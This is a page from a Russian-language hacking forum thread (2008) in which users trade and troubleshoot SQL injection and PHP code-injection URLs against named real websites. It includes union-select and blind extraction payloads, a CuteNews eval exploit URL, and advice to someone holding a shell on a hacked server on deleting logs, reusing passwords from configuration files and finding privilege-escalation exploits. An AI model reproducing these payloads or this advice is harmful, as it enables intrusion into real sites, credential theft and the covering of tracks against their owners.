ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #3621  
Старый 10.11.2008, 22:50
Аватар для S00pY
S00pY
Познающий
Регистрация: 24.04.2007
Сообщений: 92
Провел на форуме:
2621544

Репутация: 412
Отправить сообщение для S00pY с помощью ICQ
По умолчанию

Цитата:
Сообщение от truelamer  
почему не катит?:

http://www.ascon.kz/index.php?news=144+and+lower(substr((SELECT+TABLE_ NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1,1),1,1 ))='c'
гхм))
http://www.ascon.kz/index.php?news=-1+union+select+1,2,3,4,5,6/*
 
Ответить с цитированием

  #3622  
Старый 10.11.2008, 22:57
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от truelamer  
почему не катит?:

http://www.ascon.kz/index.php?news=144+and+lower(substr((SELECT+TABLE_ NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1,1),1,1 ))='c'
А зачем изврат-то? Скуль вроде обычный.

Не катит потому, что ковычки фильтруются
Попробуй:
http://www.ascon.kz/index.php?news=144+union+select+1,2,3,'44',5,6/*

а вот так покатит, если нужен подзапрос:

http://www.ascon.kz/index.php?news=144+and+ascii(lower(substr((SELECT+ TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1, 1),1,1)))=99

99 это 'с' как ты понимаешь , тренируешься?
 
Ответить с цитированием

  #3623  
Старый 11.11.2008, 03:06
Аватар для Flash-ICE
Flash-ICE
Banned
Регистрация: 12.11.2007
Сообщений: 20
Провел на форуме:
318975

Репутация: 5
По умолчанию

Народ нужна ваша помощь! Именно от вас зависит моя судьба!

И так имееться шелл, я могу ходить по всем папкам... нужно перезаписать или удалить в папке /logs файлы error.log и access.log
я не могу их просто так удалить или перезаписать то есть там стоят прова чтобы незя было записыватЬ! что делать?!
 
Ответить с цитированием

  #3624  
Старый 11.11.2008, 03:45
Аватар для o3,14um
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

вытяни пароли из конфигов и попробуй их подставить к ФТП и ССХ
 
Ответить с цитированием

  #3625  
Старый 11.11.2008, 03:47
Аватар для Flash-ICE
Flash-ICE
Banned
Регистрация: 12.11.2007
Сообщений: 20
Провел на форуме:
318975

Репутация: 5
По умолчанию

неа не подходит
 
Ответить с цитированием

  #3626  
Старый 11.11.2008, 03:48
Аватар для xcedz
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141

Репутация: 3099


По умолчанию

Цитата:
Сообщение от Flash-ICE  
Народ нужна ваша помощь! Именно от вас зависит моя судьба!

И так имееться шелл, я могу ходить по всем папкам... нужно перезаписать или удалить в папке /logs файлы error.log и access.log
я не могу их просто так удалить или перезаписать то есть там стоят прова чтобы незя было записыватЬ! что делать?!
сплоент под дырявые сервисы ищи (для поднятия прав в системе)-порутаешь серв, сможешь перзаписать... а вообще раньше ты чем думал?
ЗЫ читал тему в болталке... одмин уже небося патчеги накладывать тока успевает

Последний раз редактировалось xcedz; 11.11.2008 в 03:54..
 
Ответить с цитированием

  #3627  
Старый 11.11.2008, 03:56
Аватар для tbody
tbody
Новичок
Регистрация: 07.07.2007
Сообщений: 21
Провел на форуме:
95348

Репутация: 1
Отправить сообщение для tbody с помощью ICQ
По умолчанию

Здраствуйте!
у меня вопрос

http://www.gamingtrend.com/GameInfo/GameInfo.php?GameID=7889+order+by+6--
выдает страничку,
а http://www.gamingtrend.com/GameInfo/GameInfo.php?GameID=7889+order+by+7--
ошибку.
Но запрос вида http://www.gamingtrend.com/GameInfo/GameInfo.php?GameID=7889+union+select+1,2,3,4,5,6-- не работает.
Объясните чайнику
 
Ответить с цитированием

  #3628  
Старый 11.11.2008, 04:08
Аватар для xcedz
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141

Репутация: 3099


По умолчанию

http://www.gamingtrend.com/PressReleases/index.php?PRID=-1%20union%20select%201,2,version(),4,5,6,7

дальше разберешься?

ЗЫ и вообще его уже захенкали http://forum.antichat.ru/showpost.php?p=594289&postcount=4856 (чет я сразу то не глянул )

Последний раз редактировалось xcedz; 11.11.2008 в 04:15..
 
Ответить с цитированием

  #3629  
Старый 11.11.2008, 09:39
Аватар для _gr34t
_gr34t
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме:
461696

Репутация: 40
По умолчанию

Блин ЛЮДИИИ ПОМОГИТЕЕ!! Не знаю чё делать ващееееее.
https://forum.antichat.ru/showpost.php?p=935746&postcount=3618
 
Ответить с цитированием

  #3630  
Старый 11.11.2008, 13:25
Аватар для truelamer
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782

Репутация: 81
По умолчанию

не работает сплоит, есть мыди почему?

cutenews 1.1.1 (strawbery)

http://nkregion.kz/news2/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=phpinfo();
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ